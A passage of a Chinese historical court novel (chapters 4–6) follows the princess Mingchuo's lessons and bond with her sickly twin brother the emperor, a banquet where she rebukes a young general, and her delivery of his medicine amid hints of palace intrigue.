萧盈:“溦溦,来。”
4. 第 4 章
眼下过了冬至,白日已短,虽还未完全天黑,殿内也需要点灯了。天子寝殿不计靡费,燃着铜铸的多枝灯,照得比方才上课的殿室还亮。
萧盈坐在灯下,反而大半张脸都暗着,倒是伸出来的手在灯影下苍白得醒目。明绰的小手肿得肉嘟嘟的,被他攥在手心里,更衬得他那只手一丝多余的肉也没有,像白玉雕出来的似的。
他正拿一根小竹签,沾着薄荷叶捣碎的绿泥往明绰掌心抹。
薄荷叶泥端上来的时候,梁芸姑本来要代劳,但是萧盈没让。明绰当时心里还有点不耐烦,但是萧盈这样细致,她想想皇兄还替她挡了一戒尺,那点儿不耐烦就消散了。
“敷一会儿,就洗了去。”萧盈放开她的手,“明天就不会肿了。”
明绰把手收回来,真心实意地对他笑了笑:“多谢皇兄。”
萧盈正低着头把那小竹签上残余的叶泥擦掉,看她的时候只抬了抬眼皮,语气很是了然:“所以明天你就没有借口不来了。”
明绰:“……”
她感激的笑意突然僵在了脸上。
萧盈笑了,示意宫人把东西都拿下去。他的乳母宋夫人这才把早已备下的果脯蜜饯、糖饼炒豆摆了一桌子,还有一小碗乳白的酥酪似的东西,宋夫人特意摆在了明绰的面前。
明绰顺势抬头看了一眼宋夫人。以前两个孩子养在一起,她也曾经是公主的乳母,小的时候明绰跟萧盈都叫她“姊姊”。只是天子迁宫的时候宋夫人被太后打发过来贴身照顾当时感染了伤寒的小皇帝,后来再也没回去,明绰已是好久没再见到她了。
宋夫人跪坐在地,亲自喂她吃那碗酥酪。
明绰张开嘴,感觉像是一口极浓的奶冻含进嘴里,马上又化了,从舌尖一下子就滑了下去。这比她先前吃过的所有酥酪都好吃,她的眼睛一下子就睁大了。
宋夫人见她这个反应便笑,压着声音,跟明绰告状似的:“陛下昨夜里知道长公主要来,特地要我准备了这羊奶醍醐。谁知后来上阳宫来传话,又说长公主不来了,陛下好不高兴呢……还好长公主来了。”
萧盈只道:“姊姊。”
明绰伸手接了碗,小声道:“我自己吃吧。”
宋夫人便又把果脯蜜饯往她面前推,看着她吃羊奶醍醐,眼睛里是说不出的疼爱欢喜,左颊边有一个浅浅的酒窝,还和明绰记忆里一样。
明绰感觉心口就跟也揣了一碗醍醐似的,一晃就颤颤巍巍,碰一下,就全都化了。
她没想到皇兄会这么欢喜她来。现在回忆起来,她与皇兄小时候也是很亲密的,当初萧盈迁到含清宫,明绰也是哭闹了好久。但毕竟是小孩子心性,后来习惯了,也就根本再想不起来皇兄了。
怀帝只留下这一对孩子,明绰再没有别的兄弟姐妹,可玩伴却是不缺的。谢郯曾经说要挑选名门贵女进宫给公主伴读,谢太后虽然一心想着让明绰去含清宫进学,倒是也没拦着这些女孩子们常来常往,甚至还在宫中设立了女官考学制度。年长聪慧的,便如梁芸姑一般,能留在太后身边辅佐政事。
明绰代兄上朝的时候,往下瞧一眼,那些黑胡子白胡子她不一定都认得,但要是报上名字,他们家的女儿、侄女儿、孙女儿,明绰一定认得。
萧盈恐怕并没有这么多人陪他玩。
明绰看了看还剩的半碗羊奶醍醐,心里有点儿过意不去,伸给了萧盈:“皇兄也吃。”
萧盈轻轻把头往后一仰,只是笑着摇了摇头。
宋夫人:“太医说醍醐燥润补虚,太尉让日日都给陛下补着,他都吃腻了。这是特意留给长公主的,长公主快吃吧。”
萧盈突然道:“姊姊,你先下去吧。”
宋夫人浑然不觉自己说了什么不该说的话,但天子这么说,她就起了身。明绰便也挥了挥手,示意梁芸姑一起下去等。
殿里一时就剩兄妹两个,明绰把剩下的醍醐当奶一般喝了下去,十分满足地舔了舔嘴唇,又伸手去拿果脯,吃得十分坦然: “皇兄多虑了,我才不在乎呢。”
“什么?”
明绰塞得半个腮帮子鼓起来:“你天天有醍醐就有呗。”
拿牛奶羊奶做这些吃食是从北边传过来的手艺,中原很少有人会。上阳宫里有寻常的酥酪乳饼,但从来没见过醍醐,足以说明这东西到底有多珍贵,要是太医再说这东西滋补,那太父会紧着先给含清宫真是再正常不过了。
只是明绰也不是没见过好东西,又不缺这一口,没这么小气。
萧盈:“朕也天天给你备一碗。”
明绰便把果脯咽下去,一句戳穿他的心思:“皇兄就想拿这个诱我天天来陪你上课呀?”
萧盈没说是,但也没否认,就是不动声色地把明绰刚刚捡过的果脯又往前推了推。他说话行事都不像小孩子,站起来比明绰都高一个头了,唯独这会儿的眼神,倒是让明绰有一种她才是大人的感觉。
长公主骄傲地昂起下巴:“我就算愿意来,也不会是为了一碗醍醐,皇兄别瞧不起人。”
萧盈便没说什么,只是笑。明绰发现他其实话不是很多,只是在谢郯面前一大篇一大篇地说个没完。
明绰把身子稍稍前倾:“皇兄,你是怎么知道西海十八部的内情的?书上看来的吗?”
“听苏学士说的。”
苏学士就是那个一头白发的年轻人,从头到尾也没讲过两句话,不是帮萧盈添茶就是给明绰设座,跟含清宫里的宫人差不多。
明绰一脸不信:“他?”
萧盈解释:“苏学士是父皇当年亲自点的西域使持节,他行遍诸国,先被诰弗部扣押,又在战乱里落入屠珲部之手。在西海蹉跎九年,朝中没有比他更了解西海诸部之人了。”
当年怀帝亦是少年登基,比如今的萧盈大了没几岁,雄心勃勃,不仅想要收复长安,还想要把大雍的版图扩张出去,所以遣了苏絷西行。可是这么多年音讯断绝,等他九死一生地回到建康,当年意气风发的君上已成枯骨一抔。
苏絷在朝中无人,出使多年又无建树,是以并没有得到重用,只被谢郯收作太尉府书佐,是个最低等的文职。
明绰微微肃然:“怪不得一头白发。”
萧盈也是叹气:“他心中有大才,那纵横捭阖之策也是苏卿所献……”
他话还没说完,明绰猛地抬头:“那不是你想出来的啊?”
萧盈一愣,看着明绰中气十足地“哈!”了一声,脸上全是得意。
“我还以为你多聪明呢。”明绰又用手指去捡炒豆子,高高兴兴地抛着吃。
谢郯有意在她面前问萧盈应对乌兰郁弗之策,就是敲打明绰,让她知道,她不过是歪打正着,其实什么都不懂。再加上萧盈条分缕析地说了西海诸部的情况,明绰什么都不知道,难免也确实被敲打到了两分。
皇兄有醍醐,她没有,这样的小事她可以不在意。但是皇兄要是真的比她聪明太多,那就让太父说中了,她还是不太高兴的。
明绰心里痛快多了:“我要是有这么个人给我讲解西海诸部的情形,我也想得出来!”
萧盈总算明白过来她在想什么了,突然道:“那可未必。”
明绰眼睛一瞪:“你不信啊?”
萧盈不置可否地眨眨眼,只是看着她。那角度十分巧,半在
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灯下半是影,原本还一团孩子气的脸上倒也出现了一些棱角,更添他颜色。
“哦,”明绰半点没有被他的花容月貌所迷惑,“你又激我。”
萧盈一口否认:“朕没有。”
“我才不上当。”明绰拍拍手,把指尖沾的糖粒盐粒都拍了干净。原本敷在她掌心的绿色叶泥已经干透了,被她这么拍两下,也都掉了下来。萧盈把帕子递给她,明绰也没要,只扬声叫梁芸姑,“我们回去吧!”
萧盈看着她站起来,突然叮嘱道:“朕今日已经说了你不会再犯,明日可千万不能再迟。”
明绰头也不回:“我可没说明日我还来不来。”
萧盈没想到她如此严防死守,一句都不肯着他的道。一时黔驴技穷,只好老老实实地问:“那你明日还来不来?”
明绰就笑了笑,并不回答。兄妹两个说这一会儿话的功夫,天已经黑得差不多了。守在外面的不只是梁芸姑,还有谢太后派来问话的人,一道等着接东乡公主回去。见到上阳宫的人在外面,萧盈便止了步,看着梁芸姑给明绰披好了夹袄。
明绰往外走了两步,又想起了什么,回头望了望。萧盈还站在那里,殿外是云垂沉暝,殿内却烛光煌煌,把他的身影衬得又瘦又长。明绰不禁又在心里想,皇兄长得真高。
明明是一母同胞的双生子,面对面站着的时候,明绰却要抬头才能看见他的脸,不然就只能闻着他襟口散出来的清苦药香。
明绰微微屈膝,朝殿中的瘦长人影行礼:“陛下,东乡告退了。”
上阳宫里已经备好了晚饭,只可惜塞了一肚子果脯蜜饯的明绰根本就没动上几口。谢拂霜还以为她是挨了戒尺心里不高兴,软声细语地哄了一顿饭的功夫,说来说去,就是“太父也是为你好”。
谢郯肯定不是为了她好。明绰咬着筷子尖,看见掌心还有一块一块斑斑驳驳的绿痕。
谢拂霜又道:“你若明日就不肯去了,太父定会说你半途而废。”
明绰油盐不进:“母后也不用激我。”
谢拂霜被她那小大人的模样逗得又可气又可笑:“那你明日到底去不去?”
明绰放下筷子,只道:“我明日再想想吧。”
翌日,雪满建康。
萧盈起来以后就看见了满目的雪光,天光未亮,在月色下泛着沉郁的银,空中还扯絮似的,仍下个没完。
他当即遣了人去报太尉府,雪大难行,请太父顾惜身体,今日不必来了。但派去的人出去还没多久,谢郯就已经到了,说是知道雪大难行,特意早出了门。倒是今日该来侍读的卢学士迟迟未到,两人就着热茶等了一会儿,便看见一团披了鹤氅裘的人影冲了进来。
君臣两个一时都怔住,看着小小一个人,一下子把兜帽掀开,抖了满地的雪。她似是一路跑来的,裙裾都湿了,发间也还有雪,站在殿中喘了好几口气,梁芸姑才跟了上来。
“辰时……”明绰攥着胸口的衣裳,总算喘上一口气,“辰时到了吗?”
萧盈看了一眼滴漏,然后听到谢郯道:“还没有。”
明绰便点了点头,既不给天子行礼,也没跟长辈问安,自顾自走到了萧盈身边。萧盈无声地往旁边挪了挪,刚要叫人给长公主设座,明绰已经席地而坐。
原本玉雪似的一团人,冻得鼻尖发红,让殿里的暖炉一熏,便连额头和两颊也都红了。
谢郯看在眼里,倒了杯热茶,放到了明绰面前。他不说话,萧盈也不说话,就这么安安静静地看着明绰,各自眼里含着各自的意外。
“皇兄,”明绰吸了吸冻出来的鼻涕,终于开了口,“我的羊奶醍醐呢?”
5. 第 5 章
景平十年冬,建康传谢太后谕旨,册封乌兰郁弗为长安王。乌兰郁弗随即奉上羌人国君与诸子侄的人头,以示效忠。
奉命送人头至建康的正是屠珲部大将拔拔真。国宴之上,拔拔真问及曾在西海教他汉话的使臣苏絷,得知他位卑不可列席,便向谢太尉直言大雍埋没英才。数日之后,苏絷竟愤而挂印,与拔拔真同去。
景平十二年,乌兰郁弗东进灭陈,一统北方。果然当年便于长安僭越登基,立国号为燕。谢太后命大将军桓殷领兵征讨。
但大燕立国短短一年,原本奉命据守冀州的拔拔真便自立为王,叛出乌兰。建康得到密报,称乌兰郁弗已病卒,如今即位的是他二十一岁的长子乌兰徵。兀臧部不服新主,与贺阆、渠搜联手,将乌兰部的发家之地西海占为己有。刚刚才统一的北方转眼之间又裂成了三块。
趁着乌兰徵忙着扑灭后院失火,荆州护军袁增违抗桓殷的命令,擅自领兵突袭,与大燕段太后手下的雍州兵马大战一场,虽未能直捣长安,但也逼迫大燕主动让出了原本属于荆州的三县。不久之后,乌兰徵亲自修书至建康,再表臣服之心。
越冬,桓殷班师。
谢太后于宫中设宴,嘉奖刚刚擢升平荆中郎将的袁增。
这个宴本是为了犒军,只可惜桓大将军心眼比针眼还小,袁增新贵得势,他一封上书说自己病了,就不来了。他不来,旁人便为难,不敢来,更不敢不来。谢郯倒是真病,只能在家里将养着。太后便干脆改成了私宴,只叫谢聿和袁增各携妻儿来上阳宫。
袁增自知已将桓殷得罪了个透,自是要投靠谢氏。谢聿又急于扶植军中势力,与桓氏争权。一时觥筹交错,宾主尽欢。
明绰陪坐得无聊,腿都麻了,便悄悄地变换了一个姿势。刚在案下捶了锤自己的小腿,便被谢星娥的手肘轻轻戳了一下。 只见表妹一脸鬼鬼祟祟的兴奋,眼睛不断地朝另一个方向瞟。
明绰抬起头,只见对面的少年正目不转睛地看着她。
那是袁增的长子袁煦,今年十六。此次对上雍州军,他只带一支小队,夜渡急流,一把火烧了敌方粮草。谢聿对他大为赞赏,方才还在说要给袁煦也请封。
谢星娥凑到明绰耳边,轻声道:“父亲这是替姐姐相看驸马呢!”
明绰把她一推:“焉不知舅舅是在相看女婿?”
“少将军可没看上我,瞧他那双眼睛,离都离不开姐姐!”
“别瞎说!”明绰轻斥一声,又推她,“你别赖在我这里,回舅母那里去!”
谢星娥不依,扯着明绰的衣角赖住了不肯走。虽说上阳宫有人伺候,但这是谢家的私宴,有些事情太后不可能做,便只有她母亲庾夫人来做这个主母,又要替谢聿布菜,还要伺候着袁将军的酒,她若坐在父母眼皮子底下,拘束也拘束死了。
要是平时,明绰还可以陪坐在母后身边。谢星娥见了姑姑害怕,就不敢过来厮磨。但是今天萧盈也不在,谢太后代天子坐上首,连明绰都不能去陪。
明绰压低声音:“皇兄今日不来了吗?”
这个谢星娥倒是知道:“陛下病了呀!”
“又病了?”明绰一惊,“我昨日去含清宫,皇兄还好好的……”
谢星娥做了个怪脸,不知道是在说“我怎么知道”,还是“你又不是不知道陛下的身子”。
姐妹两个压着声音说了好几句,明绰余光一扫,见袁煦竟然还在盯着她看,见她又转过来,便朝她露出了一个微笑。
东乡公主就快满十四岁了,如今大雍就这么一位长公主,她的婚事,自然是在朝堂上被反反复复地议来议去。
袁煦相貌上佳,又少年得志,大概觉得父亲这次单独携他进宫另有深意,公主择婿舍他其谁,那眼神和笑容就都有点儿不自知地招人嫌了。
好大的胆子。
明绰心里不满,面上却装作不经意的样子,把视线转开了。袁煦见她不回应,一时有些悻悻的,只好也装作无事,听父亲说话。但没一会儿,又没忍住偷偷地看她,谁知明绰余光里留着神,马上扭头瞪了回来。
这一眼带着点儿煞气,把袁煦吓了一跳,手忙脚乱地端起面前的酒杯掩饰,又发现是空的,再伸手去拿酒盅。他身后的宫人也同时伸手要替他斟酒,两人的手碰到一处,也不知道怎么了就把酒盅打翻在地。
所有人的视线都转了过来,那宫人立刻伏地叩首。
袁煦亦惊惶道:“太后恕罪!”
明绰闲闲地转过脸,没事儿人似的。谢拂霜坐在上首,把刚才那一幕尽收眼底,自然知道是怎么回事,当即警告式地朝明绰瞪了一眼。可惜平常宠爱太过,明绰根本不怕,反而飞快地一吐舌头。
“少将军请起,”太后微笑道,“私宴罢了,不必拘束。”
袁增也道:“太后恕罪,臣久在荆州戍卫,犬子也在乡野之地呆惯了,不懂规矩,让太后见笑。”
“中郎将卫国辛苦,再说这样的话,岂不是戳本宫的心吗?”谢拂霜叹了一声,举起酒杯,“本宫敬中郎将一杯。”
袁增亦举杯谢恩。
谢拂霜又道:“本宫听说中郎将有两个儿子,怎么没有一并带来?让本宫也瞧瞧二公子。”
“袁綦尚幼,更不懂规矩了,哪里敢到太后面前献丑。”
谢聿:“中郎将过谦了!二公子同小女一般年岁,小女还只知道一味贪玩,二公子已在军中操练了。”
他一边说,庾夫人一边给袁增添酒。袁增微微欠身致意,又道:“男儿习武,自是要从小操练,不过同蛮牛一般,练他一身力气而已。见识气度,礼仪风姿,想是样样都不如谢小姐。”
明绰又把袁煦上下打量一圈,在“蛮牛”二字上狠狠点了点头。一边以牙还牙地推谢星娥:“原来舅舅是要把你嫁给那小蛮牛去。”
谢星娥逗明绰的时候高兴,自己却是个不禁说的,当即红了脸,轻声啐了一口:“姐姐胡说!”
谢拂霜:“你们姐妹两个说什么呢,这么高兴?”
明绰有意扬起声音:“回母后,说袁二公子和妹妹年岁相当呢,可惜二公子没来,妹妹好奇二公子生的什么模样!”
谢星娥羞窘不已,忙道:“哪有!分明是在说,少将军一直盯着东乡姐姐看呢!”
她乍然点破,袁煦当即红透了脸。谢聿大笑出声,似是乐见其成。谢太后倒是没笑,但她面上粉敷得太重,眉间鹅黄被烛火映出奇异的色彩,竟看不出她到底是个什么表情。
袁增本是嘴角微扬,应和着谢聿,突然见了谢太后的神色,便马上拉下了脸,对袁煦道:“你放肆。”
“诶,中郎将!”谢聿劝了一句,“知好色则慕少艾,人之常情嘛。”
谢拂霜侧头看了兄长一眼,什么都没说。袁煦垂着头,觑着父亲的脸色,瞧他骂得不是认真的,又看谢聿眼神中有鼓励之意,竟点了点头:“是……”
是什么是。明绰心里恼火更盛,突然举起了酒杯。
“少将军!”明绰的声音扬起来,袁煦忙不迭地也跟着举杯。
明绰:“东乡虽居深宫,也十分仰慕少将军悍勇,这杯酒敬少将军!”
袁煦的头垂得更低,低声道了一句“不敢”,便匆匆将酒饮下,再不敢直视公主。
明绰嘴上要敬酒,实际只浅浅呷了一口,见袁煦放下酒杯,又道:“东乡还有一事,想请教少将军。”
“东乡,”谢拂霜开了口,“别扰少将军吃酒。”
明绰闻言便笑,她似是早知道自己容色之盛,美目流盼间,满殿的烛光就都含进她眼中。袁煦勉强抬头看了一眼,便被烫到了似的,忙移开了视线。
星娥又偷笑起来,眼睛睁得大大的,满是兴奋。
“少将军才不会嫌我烦呢,”明绰托着腮,仰起脸看着袁煦,“是吧?”
袁煦已经一路脸红到了耳朵根:“不敢,长公主请问。”
“雍州段氏女素有美人之名,不知道这次少将军有没
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有见到段太后?她生得到底美不美?”
“这……”袁煦不自在地躲闪了一下,“她哪里是美人,分明胖面肥腰,凶神恶煞,像个母夜叉!”
明绰就知道他要这么说。
当年羌人作乱,雍州地处边陲,为兵祸所隔,不得随前梁南渡。段氏几代人独力支撑,在羌人、渠搜人和西海十八部你来我往的西北左右斡旋,硬是保住了雍州一块弹丸之地。蛮夷多有屠城恶习,铁骑所至之处十城九空。时间一长,雍州就成了西北的难民们唯一能去的地方,这么多年下来,竟然兵强马壮,成了一方势力。
但和冀州陈氏不同,段氏从未起过逐鹿称王的僭越之心。前梁在时,段氏翘首王师。萧氏代梁,雍州便遥叩江东。几次西征,雍州皆派兵马襄助。建康上下,提到雍州段氏,无人不敬,无人不叹。
可是毕竟孤城空悬,大雍又久未动兵,羌人缓过一口气便要秋后算账,接连征讨,非把雍州吃下去不可。段氏男丁接连战死,最后只剩一个女儿,便有了三年前与乌兰联姻,合兵灭羌一事。
自从“段氏女”成了“段皇后”,在建康士人口中,就仿佛换了个人。如今“段皇后”已成“段太后”,甚至还敢领兵对抗中原王师,那话就说得更不好听了。
明绰拍了拍手,两只眼睛瞪得大大的:“哎呀!东乡只听说少将军夜袭敌营,烧了粮草,没想到少将军都杀进主帅帐中了!”
袁煦一愣:“臣并未……”
明绰没等他说完:“那你如何知道段太后‘胖面肥腰’?”
袁煦:“两军对垒,自然见到。”
“可是,”明绰眉头轻蹙,一脸不明所以的表情,“两军对垒,主帅不都是坐镇后方的么——哎呀,难不成少将军身先士卒,都杀到段太后面前去啦!那为何不将她斩于马下,今日也好为少将军封候拜将!”
她话里讽刺之意甚浓,袁煦脸上更窘,只好道:“臣……没近到段氏身边。”
“哦!那东乡就明白了。”明绰又挂上了一个笑容,极淡,方才刻意为之的艳光微微收敛,一双眼睛幽幽的,整张脸便带了肃杀冷气。
“原来少将军的意思是,一个女子,若是丈夫新丧,家国飘摇,她不闭门守丧,反而站出来领兵治国,便一定是‘胖面肥腰、凶神恶煞,像个母夜叉’。”
她越说越慢,最后轻轻巧巧地一转脸,看向了谢拂霜。
袁煦的脸一下子变得煞白,马上跪了下去:“臣不敢!”
“犬子口拙,”袁增道,“他是想说,段氏粗野,万万比不得我大雍的太后凤仪万千。”
“小孩子玩笑,袁将军不必放在心上。”谢拂霜笑了笑,“段太后巾帼不让须眉,本宫心里只会仰慕她的气概,岂会与她比美丑?”
袁增垂首:“是臣想得窄了,不及太后的气度。”
“中郎将这说话的本事也不好好教教儿子。”明绰撇了撇嘴,并没有要放过袁煦的意思,“见不得女子领兵,便编排她貌丑,照这么说,看少将军油头粉面,想必是最不会打仗的!”
“东乡,不得无礼!”谢太后的声音严厉了一些,“吃了几口酒就胡言乱语,还不退下!”
明绰撅起了嘴,看起来仍不服气。站在太后身边的梁芸姑立刻会意,亲自下来要搀明绰。明绰也不要她扶,自己站起来,告退也不请一句,转身就跑了出去。
今夜所有的人都在正殿伺候,出来以后,除了还在站桩的侍卫,几乎一个人影都瞧不见。明绰脚步匆匆,方走出正殿,就见有人正好朝她这个方向过来,但远远地看见了她,竟然连声问安都没有,转身就走。
明绰下意识叫了一声:“站住!”
那人是个宫人打扮,手中还提着一个食盒,看起来跟宴上用的差不多,但身上披着氅,显然是要出门的打扮,不像是要去殿上伺候。听见明绰叫她,明显脚下一顿,然后突然又加快了脚步,竟然一溜烟地跑了。
明绰:“……”
反了天了?
6. 第 6 章
明绰本想喊侍卫,但是那宫人跑起来的身姿太熟悉,披着氅也掩不住身份。明绰当即扬起声音,叫破了她的名字:“灵芝,你给我站住!”
灵芝只好停了下来,转身朝明绰行了个礼:“长公主。”
明绰已经赶了上来,灵芝心虚,还不等明绰说话,就先发制人地问她:“长公主怎么不在宴上?”
“这话该我问你。”明绰的视线垂下来,朝她手里的食盒点了点,“这什么?”
灵芝顿时露出了为难的神色,明绰越发狐疑地皱起了眉。
若是别人,明绰大概会以为她胆大包天,偷了宴上的菜去给家里人,或是相好的侍卫,但灵芝的身份不同。太后身边得力的,头一个是梁芸姑,那是有品阶的女官,能辅佐政事。第二个就是灵芝,替太后操持整个上阳宫的女婢。她要什么吃的,都不必这么鬼鬼祟祟。
明绰不耐烦了:“说话!”
灵芝只好道:“这是给陛下送去的药。”
“那你躲什么?”
灵芝低下了头:“奴婢远远一看,没认出是长公主。”
明绰朝着她手里的食盒点了点头:“打开我看看。”
灵芝只好从命。食盒被掀开,里面有空碗和银勺,甚至非常贴心地装了一小包蜜饯,药则灌在一个细口壶中,以免路上洒出来。明绰伸手一掂,还是温热的。她凑到鼻子底下闻了闻,是一股熟悉的味道。
萧盈体弱,四时用药皆有不同,唯独这治心痛之症的方子,是他自小就吃,没变过的。皇兄身上都快被这药腌入味儿了,明绰一闻就闻得出来。
灵芝:“长公主,奴婢不敢撒谎。”
明绰看了她一眼,把壶口重新塞上,放了回去,一眼又看到了摆在碗边的蜜饯。
她生病的时候,母后也总是会多准备一包蜜饯,怕她不耐药苦。
明绰的脸色稍稍好看一些:“皇兄的药怎么不在含清宫熬?大冷天的,送过去都凉透了。”
灵芝:“太后近日从西域得了一味新的药引子,比原先的好,这才嘱咐奴婢熬了亲自送去,更显得太后和陛下的母子情分。”
明绰无话好说,最近西域进了新东西来是确有其事。谢太后常年被头风所扰,离不开西域来的穙齐香,谢家专门托了商队去西域采买。但是通往西域的商路不在大雍手里,那边的战事时好时坏的,也不知道下一趟要什么时候,所以东西堆得满仓满谷,吃的用的,穿的戴的,玩的赏的,什么都有,药材就更多了。
看来母后还是想着皇兄的。
这三年来,她几乎每天都去含清宫和萧盈一起进学,很多事情她都看在眼里。母子两个关系着实是不怎么样,萧盈三不五时地病一场,谢拂霜从来不关心。除了朝会和年尾的祭礼大典,母子两个私底下一面也不会见。
明绰以前不懂为什么,后来慢慢地也就心里有数了。归根结底,还是谢太尉怕太后拿捏住了年幼的天子,给大雍带来什么牝鸡司晨之祸,日后悠悠青史,谢家要遗臭万年。所以萧盈那么点儿大的时候就让他迁宫,不许谢拂霜抚养,也不让天子跟太后亲近。
灵芝没认出是她,恐怕就是把她当成谢星娥了。表妹还小,恐怕要回去乱说,又让太父知道。
明绰在心中轻轻叹了口气,把食盒重新盖好。
“知道了,”明绰把食盒整个接了过来,“我去送吧。”
灵芝愣了一下:“长公主……”
“母后要问,你就说我去看皇兄的病了。”
灵芝还要说什么,但是明绰转头就走。灵芝赶紧跟上,又被喝了回来,只能眼睁睁地看着东乡公主提着食盒,也不传辇,就这么一个人,轻车熟路地朝着去含清宫的方向走去了。
明绰进门时没让人通报,萧盈一个人斜坐在榻上,手肘撑着凭几,握一卷黄纸,读得正入神。他寝宫里的蜡烛还是点得亮极,唯独悬在他头上的一枝最暗。房里一个伺候的人都没留,想是烛芯太长了,没人去剪。
明绰悄悄地把食盒放下,拿了剪子,蹑手蹑脚地过去,剪断了那截焦黑的烛芯。烛花轻轻地爆了一声,然后燃得更亮。火光在萧盈脸上轻轻一摇,但他依然没有抬头。
黄纸为正式公文专用,但是天子尚未亲政,奏疏都是递给太后的,皇兄在看什么?
明绰觑着眼睛偷看,偏偏萧盈的手把那卷黄纸持得极巧,从她的角度看不着几个字。明绰不得不踮起脚,结果萧盈又稍稍坐正了,她就只能看见皇兄未束冠的一头乌发。
“盗窥宫禁可是死罪。”
他这话说得不冷不热,头都不抬。明绰让他吓了一跳,随即往他榻边脚踏上一坐,只道:“那皇兄叫人把我拖下去砍头好啦!”
萧盈把黄纸收起来,只是笑:“别坐在下人坐的地方,上来。”
明绰不理他,趁着萧盈倾身去拉她的时候猛地一伸手,已经把那卷黄纸抢在手中,垂眼一瞥,果然是太父的一笔好字。
萧盈轻轻叹了口气,拿她没办法,只好从榻上下来,也陪着她坐在脚踏上。
谢郯的奏疏向来不会在请安上废话太多,明绰扫了两眼就看到他要给袁煦请封嫖姚都尉一事,没忍住嘟囔了一句:“还封啊?不知道的以为袁家攻破长安了呢。”
萧盈:“嫖姚都尉只是虚职。”
“是啊,”明绰拖长了声音往后看,然后指着那几个字伸到了萧盈面前,“‘特许宫禁行走,随侍天子骑射习武’的虚职——这什么意思?骑射习武?”
明绰好悬没把“皇兄这副身子骨也能骑射?”这句话说出口。但萧盈听懂了她未尽之意,又是好气又是好笑地咬了咬牙:“这是中书令的意思。”
“舅舅真是深谋远虑!”明绰见风使舵,“那个袁煦蛮牛似的,皇兄和他操练,肯定也能身体康健……”
“蛮牛?”萧盈笑了,“朕怎么听说少将军面如冠玉,风姿俊朗,上个街都能掷果盈车?”
明绰头也不抬:“今年收成好,百姓们果子都放烂了没处搁吧。”
萧盈笑得更厉害,声音闷闷的,都从喉咙深处出来。明绰转过头,看见他襟口微敞,正露出膻中穴一块微微发红的皮肤。萧盈察觉到她的视线,大姑娘似的把白衫拢了拢。
皇兄也是该练练武。明绰心里暗想着,然后突然反应过来:“对了,我给皇兄带了药。”
她把黄纸放下,起身来去拿食盒,萧盈微微坐正了身子,看着她把那细口壶取出来,细心地用手背贴了一下。
“还是凉了。”明绰轻轻叹了口气,“母后寻来了西域的药引子,说是比原先的好,特地熬好了叫我送来的。”
萧盈抬起头看着她,烛火煌煌,映在他白得吓人的脸上,也没给他带来一丝血色,反倒是一双眼睛照得更深了。有那么一瞬间,明绰好像从他眼里看到了某种说不出的东西。但那一点眼神转瞬即逝,萧盈很快面色如常,轻声问道:“太后叫你来的?”
“当然了。”明绰撒了个谎,一边扬声叫人进来。
进来的是宋夫人。她好像不知道东乡公主来了,看见明绰,突然脸色变了一下,然后又飞快地看向天子。但是等明绰也跟着把视线落到萧盈身上的时候,他又没什么异样。
明绰也没多想,只道:“劳烦姊姊去取个碳炉来,我给皇兄温药。”
宋夫人上前一步,想从明绰手里接走那药壶:“碳炉熏人,奴婢拿下去给陛下温上。”
“就在这儿吧,我一路过来吹了些冷风,也好凑着碳炉烤烤火。”
宋夫人愣了一下,又看了萧盈一眼。他只点了点头,眼皮一垂,又长又密的睫羽轻轻覆下,似是累了,不想多说。
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宋夫人只好微微屈膝:“喏。”
她叫人进来架好了碳炉,但兄妹两个不用人在这里伺候,又把人都遣下去了。其实天子寝殿本来就烧着地龙,一点儿也不冷,明绰只是想着,这是母后的心意,她来亲自伺候着药,皇兄也能多念母后的好。这念头揣在心里,热乎乎的,碳炉又旺,没一会儿就把她的脸烤得红红的。倒是萧盈,一张脸白惨惨,好像怎么都捂不暖。
“皇兄这是气血两亏啊。”明绰握住了萧盈的手,感觉比她从外面一路走过来的都冷,便跟宫里老太医似的叹气,“醍醐还是得吃着。”
萧盈只是笑:“含清宫的醍醐不都进了你的五脏庙?”
那倒也是。明绰马上改口:“哎呀天天灌那醍醐也没用,光长个子,又不补气血。还是多吃肉!”
萧盈懒得驳她这半吊子的医经。他的手比她的大,明绰便用两只手捧着,好玩儿似的,翻来覆去地搓他的手指。萧盈任她摆弄,突然问她:“上阳宫的宴这么早就散了?”
明绰把他的手放开,随口敷衍道:“又没我的事,坐那儿有什么意思?”然后也不管萧盈的反应,又把没看完的黄纸拿回来,继续往下看。
谢郯把请封的事情说完,又详细地汇报了袁增与雍州军交战的细节。字一写多,便看得出是病中所书,到后面笔锋明显虚浮了不少。但仍是不惜笔墨地慨叹雍州军之“倒戈”,看得明绰没忍住从鼻子里冷哼了一声,把黄纸往膝上一放。
萧盈看她这反应便没忍住调笑了一句:“长公主有奏?”
明绰阴阳怪气地挤出两个字:“岂敢?”
“有话就说。”
明绰转头看着萧盈,犹豫了不过半刻,便连珠炮似的一股脑说了出来:“雍州军又不是咱们花钱养的兵,我朝西征,他们帮忙,不过是看在同族同根的情分上,又不是他们该效忠的。雍州被羌人围城的时候,陛下可曾出过兵?是乌兰郁弗领着他们灭了羌人,报了仇,又把渠搜人也打退,雍州的百姓才能过几天安生日子。于情于理,雍州军就是大燕的军民,守卫长安是天经地义,我朝有什么脸面指责他们‘倒戈’?”
萧盈托着腮听,听到最后只是微笑。明绰让他笑得有些恼,顺手就在他手肘上拍了一记:“我说错了吗?”
“自然是没错。”萧盈抓住她的手,哄她似的,“接着看。”
明绰把手抽回来,依言继续往下读。只见谢郯话锋一转,又绕到了袁增身上,说他是感念段氏昔日恩义,所以才手下留情。其实袁增没在段太后手里占到什么便宜,只是大燕投鼠忌器,才有了主动让城一事,在谢郯笔下倒成了袁增高抬贵手,乌兰徵是被他感化才让城。顺便再暗贬一句桓殷阵前少谋,错失良机。
明绰:“……”
好一招春秋笔法。
谢郯在奏疏上这么写,自然不是为了糊弄天子。只是黄纸公文要造册入档,给史家编著,他无非还是为了给袁增添功。只因袁增门第不高,虽自称淮梁袁氏后人,但淮梁袁氏的本家早已在羌人之乱中被灭族,他要么是没落旁支,要么就是攀附归宗之徒,否则不会只在荆州做一个小小的护军。
明绰忍不住叹了一声:“太父是最看重门第的,这次竟然肯为袁增这般铺路。”
萧盈伸手把黄纸拿回来,慢慢地重新卷好;“因为袁增还立下了一件大功。”
“可是雍州军……”
“不是那个。”萧盈摇摇头,“袁增密报,荆州民间遍传歌谣……”
药被倒进瓦罐里,眼下已被烧得白汽蒸腾,萧盈的眉眼间也笼上了淡淡的一层雾。明绰面色一凛,心里隐约已经知道萧盈要说的是什么歌谣。大雍只有那一支歌谣,值得袁增越级密报,换得平步青云。
